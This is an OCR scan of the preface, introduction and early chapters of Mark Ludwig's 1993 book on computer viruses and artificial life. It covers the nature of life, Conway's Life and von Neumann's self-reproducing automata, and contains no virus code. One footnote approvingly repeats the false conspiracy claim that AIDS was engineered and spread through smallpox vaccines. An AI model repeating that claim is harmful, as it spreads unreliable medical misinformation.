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Preface

In 1831, Charles Darwin climbed aboard a ship named The
Beagle and headed toward the nethermost parts of the world. As a
naturalist, the observations Darwin made on that journey would
have a profound impact on his life and on the whole world.

Today I would like to invite you to take a similar journey with
me. A journey clean out of this world, and into the world of bits
and bytes in which a computer virus operates. This journey has
already revolutionized my understanding of life and evolution. In
researching the material presented here, I’ve had to rethink and
rewrite this book several times. Computer viruses just did not fit
into any of the usual categories people had for them.

Now I know some people have already decided I’m crazy for
writing this book. At least one has even said so in print, months
before even a word of it was made public. And certainly the people
who fight computer viruses day in and day out may have some
misgivings about a book that contains viruses and discussions that
could teach people how to make them. I understand that. Yet it
seems foolish to try to hide your head in a hole and remain ignorant
of viruses. They are here. We may as well learn to live with them,
because we get to, like it or not.

As far as science goes, computer viruses may be a small part
of the big picture that the broad discipline of Artificial Life gives
us. Yet I think they are important because they are the only artificial
life-form that has become a phenomenon, rather than just a labora-
tory toy. And though some particular phenomenon may be a small
part of the big picture, the scientist can often make great gains by
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staring hard at it. Certainly the animals of the Galapagos are a small
part of the big picture of life on earth. Short of a few television
documentaries, most of us would never know it if they were
swallowed up by the ocean. Yet these animals worked mightily for
Darwin.

Therefore I do not apologize for making use of viruses here.
If—as Alexander Solzhenitsyn put it—freedom is “to fill people’s
mailboxes, ears and brains with commercial rubbish” and “for
adolescents of 14 to 18 to immerse themselves in idleness and
pleasure instead of intensive study and spiritual growth” then we’re
all dead. I exercise my freedom to write this book with an eye only
for what is true and good. Believe me, it would have been easy to
play the demagogue and give the people what they wanted to hear,
putting what is true in the back seat. I could have filled my pockets
with gold for it too. I'm not much of a politician though, and I
couldn’t ever hope to live with myself if I said “Read my lips”
while lying through my teeth. So in a sense, I write not what [ wish,
but what I must.

I’m only sorry to see that it is getting difficult to say what I
have to say in many of the so-called “free” nations of this world.
But then, it should be no cause for wonder in a world which
increasingly denies the possibility of spiritual growth and sees
everything in terms of economics. In such a world, our destiny is
not to learn to cherish truth, but to learn to eat from that pile of
rotting commercial rubbish and be satisfied.

Mark Ludwig
September, 1993



Introduction

In this volume I want to discuss the relevance of computer
viruses to modern science, and specifically to life and evolution.

There has been a debate going on as long as computer viruses
have been around, as to whether or not they can ever be beneficial.
Usually this debate degrades to the level of “show me one,” and
then an argument as to whether or not some particular programming
application is best accomplished in viral form or not.

Here I want to step back from that fray a bit and look at the
bigger picture. [ am not here concerned about the economic advan-
tages or menaces of viruses, or the pros and cons of a particular
virus, but whether, in studying them, we might learn anything of
the world we live in.

Imagine with me for a moment the scene of a modern office,
filled with PC’s. It is the birthday of some unknown person half-
way around the world. People come into the office in the morning,
flipping on their computers, only to be surprised by the order to
type in “Happy Birthday, Joshi!” The office is filled with commo-
tion. Experts are called in. For days afterward, people are talking
excitedly about the incident and wondering what will happen when
they turn their computers on the next time.

Certainly if you’ve experienced this, it’s no joke. But should
our only response be anger and fear? We respond almost as if it
were an invasion from another planet—the terror of the unknown
menace—and our aboriginal instinct is to kill it before it kills us.
And certain elements of the media—under the influence of the
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pundits of anti-viral software-dom have tried to encourage us to
respond like that.

But shouldn’t there be at least a little wonder. . . .. ?

No science fiction writer fifty years ago ever imagined some-
thing so bizarre. Invaders from other planets, sure. Warrior robots,
sure. Genius machines, sure. But computer programs that move
around and reproduce like living organisms, and attack other pro-
grams? We’re not talking about some weird laboratory experiment
either. This is a real-world phenomenon that the average person is
becoming more and more used to.

So let’s wonder a bit.

These things have properties similar to living organisms. Are
they alive in some sense? If so, can they teach us anything about
carbon-based life—or can our knowledge of carbon based life teach
us anything about computer viruses and what we might do with
them? Matters like evolution and the beginning of life obviously
come to mind, as well as ideas like consciousness and intelligence.

Perhaps we can use viruses to better understand what life is in
a more abstract sense. A lot of people are interested in finding life
somewhere else in the universe. But how would they even know
they found something living, unless it was carbon-based like us? It
might be that you could stare a life-form in the face and never know
it without a sufficiently abstract concept of what life is. Or perhaps
you could be conquered by it, and never know it until the conquest
was long complete. You can find lots of books on the subject of
Extra Terrestrial Intelligence, and most barely touch on this ques-
tion.

Recently I brought up the possibility that viruses might be
worth studying for scientific reasons among a room full of anti-vi-
rus types. A number of people in the audience vigorously shook
their heads without a second’s thought. Poor, closed-minded souls
they are. I said it in the last volume, and I’ll say it here: be willing
to listen to different ideas at the risk of offense. If you find yourself
irritated by what I say, at least consider the possibility that you
might be wrong. I promise you, I will do the same. If I didn’t, I’d
never grow, I’d never learn anything or expand my horizons, and I
certainly don’t want that, and I don’t think you do either. Believe
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me, [’m not writing this book because I have all the answers. Quite
to the contrary, I have lots more questions than answers!

This book will offend people for two reasons: Firstly, it defends
the idea that viruses can be good and useful. I’d like to think that it
would forever close the door in the faces of those who want to make
all free and open discussion of viruses illegal. But that would be a
little proud on my part, and a little ignorant of human nature. Some
people will never be convinced—by any amount of reason—that
computer viruses are anything but totally evil.

Secondly, people will be offended by this book because of its
approach to science. Here we get into some deep things that have
caused me a lot of trouble over the past several years. Yet I have
embraced that trouble willingly, knowing that it is a means to an
end that otherwise could not be had.

Let me explain: Once I was a scientist of scientists. Born in the
age of Sputnik, and raised in the home of a chemist, [ was enthralled
with science as a child. If [ wasn’t dissolving pennies in acid, [ was
winding an electromagnet, or playing with a power transistor, or
doing a cryogenics experiment—Ilike freezing ants—with liquid
propane. When I went to MIT for college I finally got my chance
to totally immerse myself in my first love. I did rather well at it too,
finishing my undergraduate work in two years and going on to study
elementary particle physics under Nobel laureates at Caltech. Yet
by the time I got my doctorate, the spell was forever broken. As a
young student I learned of the great men of science and their noble
contributions to humanity. However, as [ advanced, I saw less and
less of the noble scientist, and more and more of the self-satisfied
expert. | saw less and less of the great contribution to humanity,
and more and more of the ignored exposition. I began to understand
the difference between the science of the textbooks—where hun-
dreds of years are compressed into a few pages of text by admirers
of the discipline—and real science done by real men.

One of the beauties of science that attracted me to it was that
it seemed to have something to do with absolute Truth. Sitting in a
classroom learning of the glories of our government in the early
seventies, it just wasn’t too hard to imagine that Soviet children
were learning—just as convincingly—of the glories of their gov-
ernment too. Or if [ wrote an essay for my English Literature class
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and my teacher did not like it, what made his opinion better than
mine? This world seemed full of ambiguities. But science—ahh,
science—here was something I could lay my hands on. Who could
argue with the motion of a falling object? That was precise and
mathematical. It did not depend on what country you lived in, or
which century, or on the opinion of someone who didn’t like the
way you look. Science was True.

My love of science was born out of a love for Truth, and my
studies nurtured that love. Yet as a graduate student I came to
realize that, practically speaking, it was impossible to make an
important contribution to science without being a master politician.
Scientists are not different from other people. They have jobs and
egos to protect. They have likes and dislikes. And there are fads
and fashions in science just as surely as there are fads and fashions
in clothing or music. In order to do something really new in science,
you must become a trend-setter—Xkind of like a fashion designer.
The alternative is to simply pander to existing trends. Truth with a
capital T—for all practical purposes—takes a back seat.

I do not say these things to get down on science or scientists
per se. | greatly respect some scientists even when I disagree with
them. And I suspect a lot of them hate this predicament as much as
I do. ... And all of it is very understandable. If you try to say
something really new in science, it’s like speaking a different
language. For someone else to understand you, they have to do a
whole lot of work. Then, of course, it is a question of why they
should spend so much energy to understand you. Will it be worth
the trouble once they do? Unless you are famous—the Fashion
Designer—they probably won’t think so. If you were handed a
book written in ancient Egyptian hieroglyphics, and you didn’t
have a clue what it was about, you probably wouldn’t go to the
trouble to learn the language and translate it. Now if it was a really
great book, and you knew it, you might go to the trouble. Might.
That’s what doing something new in science is like. And most
scientists are so inundated just trying to keep up with the trends
(which, after all, put food on the table) that they have little motiva-
tion to look in any other direction, unless that direction promises
to unlock the answer to some burning question. And of course, that
burning question is usually defined by the current trends.
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Anyhow, my quest for Truth was in ruins, at least as far as
science could take me. I had sought the treasure at the end of this
rainbow, only to find that to be a scientist, I must be a slave to the
whims, passions and opinions of my peers. And I knew I wasn’t
the charismatic politician who could seize the day and bring all the
world to my feet. Therefore I had no real chance of doing the kind
of pioneering science [ wanted to. [ knew I’d end up wheedling out
the details of some remote corner of the universe that nobody even
really cared about, or I’d end up wasting my whole life pandering
to some fad which was only going to pass away. I could not have
the life of black-and-white Truth I had hoped to find in science.
That was tremendously unsettling. So, by choice, I turned toward
a more technological life, and got involved in computers. [ know a
lot of other people got hooked on computers the way I did. It was
a whole new world, ripe for exploration. With so much to do, and
so few people to do it (relatively speaking), this new world was not
yet choked to death with envy, as the old world of pure science had
been. One was relatively free to stake out his claim and do what he
could. That suited me just fine.

Yet, despite my new career, I never lost my eye for pure
science. I spent a lot of time in the wilderness—if you will—far
away from scientific circles, trying to understand better what I had
seen and lived. With this book I am making a sort of a return to that
polite society. But I am at heart a New World ruffian who does not
come back to please the court. [ have no intention of writing a book
popularizing science or Artificial Life or anything of the sort. And
I have no intention of playing by the rules of the polite society,
because I have no need for them or it.

Instead of seeking to please those in power, I come to recom-
mend some changes. Scientists are often people who are very adept
atunderstanding complex equations, and sorting through facts. But
they’re usually weak on understanding the subjective side of the
universe. They consider it unimportant, or even unreal. However,
that subjective side often deeply influences scientific research.
Often pure, blind faith in some totally non-scientific idea motivates
vast numbers of scientists over centuries of time. Many of those
scientists completely fail to understand these ideas and consider
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their validity and their value. They simply assume such ideas to be
givens and press forward.

An example of such an idea is the “unified field theory,” a
concept developed by Einstein, which has been the Mt. Olympus
for the particle physicist to climb for the past half-century. It is
simply the suggestion that all the forces of nature can be described
by a single equation which is, in some sense, simple. Einstein had
good reason to believe a unified field theory existed. He had
wonderfully applied the basic concepts of electromagnetism—al-
ready known in his day—to gravitation, resulting in the theory of
General Relativity. In so doing, he took a big stride toward unifying
these two forces, which were the only ones known in the 1920’s.

Yet there is no scientific reason to believe that all the forces of
nature should be unifiable into one simple master force. Why not
three? or sixteen? Secondly, one must question the value of a
unified field theory and its relative importance in a larger scheme
of things. Untolled capital and human effort has gone into discov-
ering such a theory, with only very limited success. While scientists
today are clamoring for hundred-billion-dollar particle accelerators
to further divine the mysteries of this elusive idea, there are fasci-
nating mysteries about elementary particles right under their noses
which might yield an understanding of nature as revolutionary as
anything that has been. Such mysteries are ignored, however,
because they do not particularly fit in to the philosophical frame-
work. Perhaps the unified field theory is nothing more than a decoy,
which will bury several generations of scientists in the sands of
time.

To be a good scientist, one must also be somewhat of a
philosopher. A few centuries ago, scientists were called natural
philosophers. There was wisdom in that. When a scientist fails to
be a philosopher, he tends to be blinded by philosophy. Then he
becomes a slave to what he believes, rather than its master. Practi-
cally, he turns into a sort of religious fanatic whose goal is to bend
all the world to what he believes, rather than to seek truth and
himself grow up.

This kind of blindness is unfortunately rampant among scien-
tists. Few people understand the philosophical presuppositions they
make, and few understand the philosophical consequences of what
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they do. Right now, the whole scientific “system” seems to pro-
mote such blindness. Most scientific research and institutions
which carry out scientific research are heavily government funded.
That means they are government controlled. Research must then
develop technology which the government wants, or promote a
philosophical world view which panders to the government. Too
often that means a philosophical materialism which elevates the
government to the status of God, by default.! The whole “peer
review” system is inherently conservative in a way not unlike
religious conservatism. It tends to resist beneficial change because
it excludes those whose philosophy doesn’t conform to the stand-
ard. Yetunlike the religious conservative, who openly reasons from
theological doctrines, the scientist’s doctrines are often subliminal
and unspoken. That makes him a slave. The solution is to become
part philosopher. Then, at least, one knows more about what
assumptions he is making, and he can consciously think about the
validity of those assumptions. Then he is master.?

The bottom line of all of this is that I am intent on avoiding
such blind spots. The biological sciences are not different than any
other kind of science. So I have every intention of ingeniously
discussing the philosophical issues that undergird them. The reason
for doing that are threefold: Firstly, I don’t believe I could do justice
to what computer viruses have to offer to science without discuss-
ing philosophical issues. Our understanding of life has always had
deep roots in philosophy and religion. So if we’re going to talk
about viruses as being somehow alive, I simply must speak to these
non-scientific understandings. Secondly, I think I would be cheat-
ing you, my reader, if I did not discuss philosophical issues. The
barbarians who do not understand the philosophy behind what
they’re doing invariably become false prophets. When faced with

Much of modern history and politics can be understood in the light of Hegelian
philosophy, in which the government is made into “ God walking on earth.”
Philosophy cannot be put on the throne either, though. Even in the philosophy
of science, you can find some pretty dumb ideas. And some philosophers are
active, describing how science should be, while others are more passive,
describing how it is, etc., etc.



10 Computer Viruses, Artificial Life and Evolution

a point of contention, they naturally defend their philosophical
assumptions as if they were divinely revealed Truth. And the expert
who, by virtue of his imputed expertise, gains ignorant followers,
can easily sacrifice honesty and depth to become a demagogue and
a sophist. I can’t stand that attitude in others, so [ don’t want to take
it with you. While it is not my intention to offend anyone, I know
I cannot avoid it if I discuss the subject at hand honestly and openly.
Thirdly, I think there is a real need for such a discussion for
science’s sake. From the point of view of a stalwart physical
scientist, theoretical biology—and especially evolution—Ilooks a
lot like voo-doo. It is very effective if you believe in it. But when
you dig into it, it looks more like magic than hard science. Frankly
speaking, the biological sciences are being choked by philosophical
dogmas. Artificial life is new enough that it could challenge those
dogmas and bring about some needed and tremendously worth-
while change. Unfortunately, it seems that the general tenor of AL
work is not just to buy into the same philosophy that has marred
biology but to take the lead in it, to be its prophet, and to push it to
its logical conclusion.? That only confirms and furthers the errors.
I think that is a shame in view of the potential AL has to put biology
and evolution on a more solid footing.

So with that in mind, I’d like to again invite you to come
exploring with me. I do not make myself out to be an expert guide
in these waters, but only a fellow explorer and adventurer. As far
as I can tell, they have never been explored before. So let us go and
see some wondrous sights, and play together on sandy sun-
drenched beaches where no man has walked before. Let us stand
in awe of the might of the deep, and the silence of the stars, and
humbly know our weakness. And let us not forget to laugh heartily
at the fools who knew we’d fall off the edge of the world.

I think the reason for this attitude is that AL researchers tend to be eager to gain
the acceptance of mainline biologists.



Are Viruses Alive?

Most of this book will focus on the similarity between a living
organism and a computer virus. From a purely naive point of view,
computer viruses seem to be alive. They seem to have a will of their
own, doing things in a computer quite independent of what the
operator wants: they reproduce, and some have proven quite adept
at moving around from computer to computer. They come in many
varieties, some colorful, some secretive, some dangerous, some
innocuous, some extremely active, some sluggish.

But are they really alive?

Or are they just good imitations, like a little mechanical barking
puppy in a toy store—maybe a bit more sophisticated, but nothing
more than a cute (or not-so-cute) machine after all?

Perhaps a better question is, in what sense are viruses alive?
Certainly they are not carbon-based organisms such as we are.
However in this scientific age of ours, it seems a little foolish and
narrow-minded to call only carbon-based organisms life. When we
are exploring the limits of our universe for alien forms of life, both
by direct observation such as the Mariner expedition to Mars, and
by indirect attempts to receive intelligible radio signals, we have
to expand our horizons. We have to dig deeper and ask the question
“What makes life /ife?” Only when we know what life is can we
weigh some entity in our understanding to determine whether or
not it is alive, and thereby properly recognize it as life.

The whole phenomenon of computer viruses brings this ques-
tion close to home. They are here, now. We can contain them and
experiment with them. And, like it or not, we have to deal with them
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in our day-to-day lives. Alien life forms are not so readily accessi-
ble.

I, for one, think it is very important to take advantage of the
opportunity which viruses offer us to broaden our understanding of
what life is. Firstly, I believe we can only stand to gain a better
understanding of life as it is by studying life as it could be. Modern
man is an arrogant creature, who usually thinks he knows a lot more
about this universe than he really does. This boastful pride seems
particularly strong in relation to extremely complex systems like
living organisms. The truth is, we know very little about life today.
We know lots more than we did a century ago, but we still shouldn’t
deceive ourselves into thinking we’ve somehow arrived at the final
word. For example, the difficulties we face in synthesizing carbon-
based organisms severely limit our ability to perform experiments
to better understand how the DNA coding (genotype) affects the
physical characteristics (phenotype) of an organism. Even if we
could synthesize DNA strands at will, and build the complex
machinery that goes with them to create living organisms, we might
not want to do so, for fear of unleashing a monster that would make
the Bubonic Plague look like Chicken Pox.! Computer simulated
life—or artificial life—may offer a reasonable way to safely study
this genotype/phenotype connection.

Secondly, if the day should ever come that we do discover life
on an extra terrestrial body, shouldn’t we be ready to recognize it
as life and act accordingly? At present, if we discovered a life-form
that was not carbon-based we probably would not recognize it.
Then what damage would we do? Would we completely obliterate
it and never know it? Or would we so offend it that it will take up
the goal of obliterating us from the bowels of the universe? Some
people think we will just naturally recognize alien life-forms and

Some researchers believe AIDS got its start in just this kind of experimentation.
See the video, The Strecker Memorandum, (The Strecker Group, 1501
Colorado Blvd., Eagle Rock, CA 90041: 1989). Dr. Strecker demonstrates that
a virus like AIDS was predicted as early as 1966, its development suggested
in a 1972 World Health Organization bulletin, and it was spread by human
agency in smallpox vaccines used in Africa.
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respect them (or go to war with them) when we find them. That is
naive science-fiction. Just a century and a half ago our ancestors
held black slaves, and sometimes beat them and killed them,
thinking they did no wrong because negroes weren’t human. Some
people really believed that. We may look back in disbelief, but
we’re no better off (probably a whole lot more ignorant, in fact)
when it comes to exploring the universe for life. That needs to
change—or else we’d just better stay home and shut up.

Any time we have ever gone out exploring our world, we have
had to work hard to come to grips with it. The best and brightest of
mankind have labored all their lives to understand a little piece here
and there. Yet even they have fallen short of all-knowing compre-
hension. That little piece of understanding has often come only with
great trouble: intense hours of labor, searching, trying and failing
to see, giving up, returning to the chase, and only then, insight.
Often rejection and persecution follow for daring to share that little
bit of knowledge with mankind because it forces men to change
their philosophical presumptions about themselves and their rela-
tionship to the world.

So why should a deeper understanding of life be any different?
Certainly, what we know of life on our planet has only come with
great difficulty. If we try to understand life in a more abstract way,
we will again be stretched. We will again have to wrestle with
difficult ideas and stubborn facts. But wouldn’t it be responsible to
do that now, rather than only after we’ve made a serious blunder in
destroying a whole civilization for want of even knowing it was
there? or destroying our own civilization by stepping on some-
body’s toes?

As soon as we begin to ask the question “What is life?” we
come to the deep realization that our very concept of life is woefully
inadequate for any scientific purpose. “What is life? ” is a difficult
question for which there is no crisp, clean answer. In a sense, /ife
is a metaphysical concept, familiar to us in experience, but difficult
to cast into a scientific mold.

At present it is fashionable in scientific circles to try to jettison
all metaphysical considerations when studying life. The assertion
is made that a living organism is simply a highly complex machine
built of organic molecules, and that it is not fundamentally different
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from any other system of molecules. Once such an assertion is
accepted, the question of what life is becomes merely a question of
function. Design a machine with the proper functions, and it will
be alive. This has largely been the philosophy and objective of the
AL community.

Of course, such an assertion, until proven, is little more than a
metaphysical consideration in and of itself. And to take it as a given
is to avoid the question of what life is, not to confront it. Indeed, it
may be theoretically impossible to prove that a living organism is
a highly complex machine which can be understood using only the
presently known laws of physics. The only way such a proof could
be reasonably accomplished would be to “solve the equation” of a
complex living organism, and successfully predict its behavior.
There are a number of formidable obstacles to doing that:

1. There is every reason to believe that the most intractable form of
catastrophe theory (the idea of how a butterfly flapping its wings
in Japan could cause a tornado in Kansas) must be involved in
determining the behavior of living organisms. 2 Thinking in terms
of basic physics, why do one sequence of vibrations in the
eardrum of a man result in a smile and a handshake, while another
sequence (the same words being spoken, just a different tone of
voice) results in a fist fight? If such results are purely due to the
known laws of physics, a staggering degree of accuracy will be
needed in any calculation that could produce accurate end results.

2. If any result becomes too sensitive to the initial conditions and
the inputs, relativistic quantum field theory must come into play.
To make sufficiently accurate calculations, one must take it into
account. However, we aren’t even sure what the laws of physics
are at that level. And if we were, quantum uncertainties alone
could bar the way to obtaining a decisive answer.

3. The sheer magnitude of a calculation (to a given level of accu-
racy) for even a single-celled organism preclude the possibility
of any computer modeling it. There is simply too much informa-

In fact, catastrophe theory is ideally suited to biology. See P.T. Saunders, 4n
Introduction to Catastrophe Theory, (Cambridge University Press, New
York:1980), pp. x, 98, 127.
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tion involved, and any real computer has a finite memory capac-
ity.

Thus the idea that a living organism is no more than a complex
machine could well remain a metaphysical concept which will be
argued—ypro and con—until the end of human history. Certainly,
this idea of life as a machine is nothing new: it has been argued,
and waxed and waned in favor, since the days of ancient Greece.
More on all of this later. . . .

In view of these complications, I do not want to take the easy
way out of dealing with the question of what life is by defining a
living organism as a little machine, and nothing more. To do so is
simply not intellectually sound, even if it is a very common and
acceptable thing to do at present. Of course, neither do I want to
adopt a purely metaphysical definition of life (e.g. “ Something is
alive if it has a spirit”), and settle the question that way. Function
is certainly important in any discussion of life. Any candidate for
the label “life” must perform certain functions which we normally
associate with a living organism. However function must be viewed
as a component of the larger framework of our metaphysical and
philosophical understanding of life, and not as the whole frame-
work.

Here I am consciously making a break with the AL community.
I think AL’ers have gone at the question of what life is with the
traditional naievity of scientists. They assert that life is nothing but
atoms and physics, define life purely in terms of function, and then
proceed to build models with the proper functions. These models
are then cautiously suggested to be alive. The danger here is that
you will exalt yourself into a “creator-god” and trivialize life to
match your creative powers. The idea that you have somehow
become a creator of life is intoxicating—but when you find yourself
making statements like “we see that a candle flameis a life form,”>
you’d do well to start considering yourself intoxicated, because
certainly others will. Naive pride often finds its end in foolishness.

Edward Rietman, Creating Artificial Life (McGraw Hill, New York:1993) p.
XVi.
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In the end, we will find two important results: Firstly, our
metaphysical understanding of life always has a direct bearing on
our scientific understanding of it. The two cannot be separated.
Secondly, computer viruses are important not just because of their
functional aspects, but for philosophical reasons as well. They can
force us to confront metaphysical issues—and maybe even resolve
them—if we choose to admit such issues exist (and they do,
whether or not we admit it).

So I would like to ask the question “What is life?” and view it
first from the physical, mechanical angle, and then from the philo-
sophical angle. At the same time I want to apply some of the
answers we get to computer viruses, and see if they are alive. Then,
given an understanding of where our viruses fit into the grand
scheme of things, I’d like to use them to look at some of the
real-world problems which life presents to the scientist.



Part 1
The Mechanics of Life






Mechanical Properties
of Life

It seems reasonable to suggest that there might be a certain set
of functions which any physical system ought to be capable of
performing if it is to be classified as alive. That is, a living organism
ought to be able to do certain things.

Unfortunately, defining such a list of functions proves to be an
almost intractable mess, even when merely dealing with carbon-
based organisms. For example, we have a general idea that living
organisms ought to be able to reproduce. Yet exceptions can be
found. Mules are not capable of establishing themselves as an
autonomous race, but they are still very much alive. On the other
hand, a Sodium Chloride crystal in a saturated solution of Sodium
Chloride does grow—the structure of the crystal reproduces, yet
we do not commonly believe it is alive. In short, no matter what
kind of a list of functions we can come up with, one can almost
always find an exception—either something which common sense
would suggest is alive, but doesn’t perform a required function, or
something which performs the function that we wouldn’t quickly
call alive.

This problem is particularly acute when dealing with
macroscopic functions. If one focuses down on the microscopic
details of how carbon-based organisms work, one can draw the line
between life and non-life much more closely. Then we are turning
away from the quest for an abstract understanding of life, though,
and focusing on how life as we know it works.
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To define life in the abstract, one must stay away from the
microscopic details which characterize specific systems and focus
on abstract properties.

The only realistic way to avoid being caught in a web of
propositions and counter-examples is to take a step backwards and
give up the idea of a set of functions which act as a dividing line
between life and non-life. We admit that, even functionally
speaking, we really don’t know what life is and how to define
it—but we do know something about how living organisms behave.
As such, we can look at any system in the physical world, or in the
memory of a computer, and ask if it performs functions similar to
those of living organisms. If so, then it has a certain claim to life.
That claim is stronger or weaker, depending on how closely its
functions compare to those functions we consider essential to life.
Such is the approach that researchers interested in the concept of
Artificial Life have taken, and we will adopt it here. In doing that,
I don’t want to wholly abandon the idea of a set of functions that
would be necessary for a system to be alive. Rather, we take the
attitude that, due to the newness of this field, and our ignorance of
it, we cannot yet begin to formulate such a list of functions. With
that attitude, we understand that others may attach a different
relative importance to the various functions than we do, and we
invite free and open discussion and even argument.

Perhaps one of the simplest examples of a computerized
simulation of life which exhibits a function usually attributed to
living organisms is John Conway’s game of Life, which dates back
to 1970.! (A copy of this game is included on the Program Disk for
this book.) This program simulates population dynamics of living
organisms in a rather rudimentary way. It consists of a logical
cellular array, initiated in some arbitrary fashion so that each cell
is either on (populated) or off (unpopulated). The array is then
time-evolved according to the following rules:

The story of the development of this game is recorded in Steven Levy, Artificial
Life: The Quest for a New Creation (Pantheon, New York:1992) pp. 49-58.
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1. If 3 of the neighboring 8 cells of any given cell are on, then that
cell is turned on.

2. If 2 of the neighboring 8 cells of any given cell are on, then that
cell is left in its current state.

3.1If 0, 1 or 4 to 8 of the neighboring 8 cells of any given cell are
on, then that cell is turned off.

These rules allow for colony growth, as well as death due to
over- or under-population. Though very simple, the rules allow for
complex population dynamics similar to the behavior of colonies
of living organisms.

Of course, no one would seriously suggest that Conway’s
individual cells are really alive,? but they do simulate the behavior

Although Conway’s rules support universal computation, and therefore
presumably a logical equivalent of any artificial organisms we may devise. See
Elwyn Berlekamp, John Conway, Richard Guy, Winning Ways for Your
Mathematical Plays, Vol. 2 (Academic Press, New York:1982) pp. 817-850.

0,1,>3 Dead
——
2, 3 Cell stays
——
3 Cell comes
——

Fig. 3.1: The rules of Life.
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of a population, and one of the functions of a colony of living
organisms is its population dynamics. So such a model is of interest
in artificial life research.

What we are really interested in here are individual organisms,
rather than populations, so we will concentrate on those. In this
realm, artificial life researchers seem to put a great deal of emphasis
on several functional aspects of life:

1. The ability to reproduce and the method of reproduction.

2. The concept of emergent behavior.

3. The possession of a metabolism.

4. The ability to function under perturbations of the environment
and interact with the environment

5. The ability to evolve.

I would like to discuss each of these aspects of life and artificial
life in some detail, so I will devote a chapter to each. However I
am not ready to buy into all of these ideas completely or even
suggest that they constitute a “good idea” of what life is,
functionally. For centuries men believed that a living organism
could be set apart by its ability to move, be it locomotion, or, in the
case of plants, growth and generation. This concept led clock
makers of the 17th and 18th century to take up the goal of
reproducing life mechanically. By the mid 1700’s Jacques de
Vaucanson built a mechanical duck which could stand up, sit down,
flap its wings, look around, eat and relieve itself.? People seemed
ready to claim it was alive. By today’s standards, though, we would
not call such a contraption alive in any sense. However it is unclear
whether AL’s standards are really any better. That is, to some
extent, a philosophical issue which we’ll leave for later. Yet we
should not be too quick to assume that we even know what’s
important yet, any more than the clockmakers. Indeed, our very
studies may bring important new functions to light.

A. Chapuis and E. Droz, Automata: A Historical and Technological Study (B.T.
Batsford, Ltd., London:1958), translated by A. Reid.



Self-Reproduction

Living organisms, in general, are able to reproduce. Although
specific individuals may not be able to, either due to accidental
circumstances, their stage in the life cycle, or an unusual genetic
combination, members of the population as a whole must have the
ability to make copies or near-copies of themselves. Barring that,
the population will simply not be around for long.

The abstract concept of self-reproduction has been studied
almost wholly within the domain of computer programs. Real-
world self-reproducing machines have never been constructed—
primarily due to their complexity—although they have been pro-
posed.! John von Neumann is usually called the father of the
self-reproducing machine. He developed an abstract theory of
self-reproduction in the 1940°s and 1950’s, and described a very
complex self-reproducing automaton (machine) as an example. His
work was left incomplete at his death in 1957. A student of his,
Arthur Burks, organized and finished it, and published it posthu-
mously in 1966 as The Theory of Self-Reproducing Automata.*

One of the first problems one must face in discussing self-
reproduction in the abstract is to differentiate between reproduction

1 Robert Freitas, Jr. & William Gilbreath, Advanced Automation for Space
Missions, (National Technical Information Service, Springfield VA:1982)
NASA Conference Publication 2255 contains a discussion of self-reproducing
factories in the context of space exploration.

2 John Von Neumann & Arthur Burks, Theory of Self-Reproducing Automata,
(University of Illinois Press, Urbana:1966).
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which mimics living organisms, and trivial reproduction, which
might be more like the growth of a crystal. The latter is driven by
“obvious” and relatively simple physics, whereas the former is less
than obvious, and has to do with the detailed structure (e.g. infor-
mation content) of the system. For example, in Conway’s game of
Life, if the cells were considered to be individuals, then the game
would exhibit the trivial type of self-reproduction, where cells
reproduce obviously as a result of the rules we defined for the
system. Most random configurations of the array will result in
reproduction somewhere in the array as it is time-stepped.

Von Neumann and Burks were primarily interested in proving
the existence of a non-trivial self-reproducing automaton. They
developed their ideas from within the framework of the idea of a
Turing machine. The Turing machine is simply a generalized
computer. It consists of a finite number of internal logical states or
rules, and a tape, which contains a (possibly unlimited) number of
instructions to be executed. A universal Turing machine is a Turing
machine capable of carrying out any finite definable calculational
procedure (an algorithm, or program). In 1936, Alan Turing defined
such a universal machine.? Today close approximations to them are
on desktops in the form of general purpose computers.* Von
Neumann took this concept of a calculating machine and extended
it to the concept of a constructing machine, or Constructor. Von
Neumann’s Constructor was similar to a Turing machine in that it
had an input tape of possibly infinite length, and a finite number of
internal states. However, instead of using the tape to perform an
algorithmic computation, the Constructor used the information on
the tape to construct another object. A Universal Constructor—in
analogy to a universal Turing machine—was a Constructor which
was capable of constructing any object (which can be constructed

3 A. M. Turing, “On Computable Numbers, with an Application to the
Entscheidungsproblem” Proceedings of the London Mathematical Society: (2)
42 (1936) pp. 230-265, and 43 (1937) pp. 544-546.

4 The “approximation” is simply that a real computer does not have an infinite
amount of storage.
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out of a given, finite set of materials) which might be specified on
a tape.

Von Neumann and Burks were able to demonstrate the exist-
ence of a Universal Constructor within the framework of cellular
automata. (Cellular automata are a very important part of AL
research, and we will assume throughout that the reader is familiar
with the concept. For those who are not, a short introduction is
provided in Appendix A.) In The Theory of Self-Reproducing
Automata, they describe a cellular automaton in a system with 29
possible states, and perhaps a half-million cells. (See Fig. 4.1) Such
an automaton may not be even close to a minimal configuration,
but the important point is that it was a Universal Constructor in the
cellular system.

Once Von Neumann and Burks had proven the existence of a
Universal Constructor, they had also proven the existence of a
self-reproducing automaton. One need only feed the Universal
Constructor a tape which contained the instructions for construct-
ing another Universal Constructor, complete with a new tape, and
the constructor would make a copy of itself. Hence it was a
self-reproducing machine.

Von Neumann'’s self-reproducing automaton did not fit into the
category of simple physics-driven reproduction. It was much more
like a living organism in that it relied on a detailed piece of
information—the tape—and its detailed design to drive the repro-
duction process. Such self-reproduction was strikingly similar to
that achieved by living organisms. They, too, rely on information—
DNA-——coupled with a mechanism to interpret that information and
do something with it. However, Von Neumann’s machine was far
too complicated to do any serious modeling and study with.

You might notice that Von Neumann’s automaton was actually
greatly over-specified if all you are interested in is self-reproduc-
tion as relates to living organisms. Clearly, no living organism is a
Universal Constructor in any sense. It is capable of constructing a
copy of itself, and limited variations of itself—but that is all. One
cannot simply hand an organism any arbitrary strand of DNA and
watch it construct the beast which would result from that strand.
Von Neumann and Burks had proven the possibility of such a
self-reproducing automaton, but now—given the possibility—
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Unit under
Construction

—|—|—|— Constructing arm

Constructing
Unit

Memory
Control

Input Tape |

Fig. 4.1: Von Neumann’s self-reproducing
automaton.

would it be possible to construct something much simpler than what
they had proposed?

In 1968 E. F. Codd® was able to demonstrate a much simpler
Universal Constructor using only eight states, but it was still a
Universal Constructor, and it was still tremendously complex. It
was not until 1984 that Christopher Langton® jettisoned the idea of
a Universal Constructor in favor of a specialized one. Langton
argued that an automaton would be capable of life-like self-repro-
duction if it used information both actively—as interpreted instruc-

5 E.F.Codd, Cellular Automata, (Academic Press, New York:1968).
6 Christopher Langton, “Self-Reproduction in Cellular Automata,” Physica D
10, pp. 135-144.
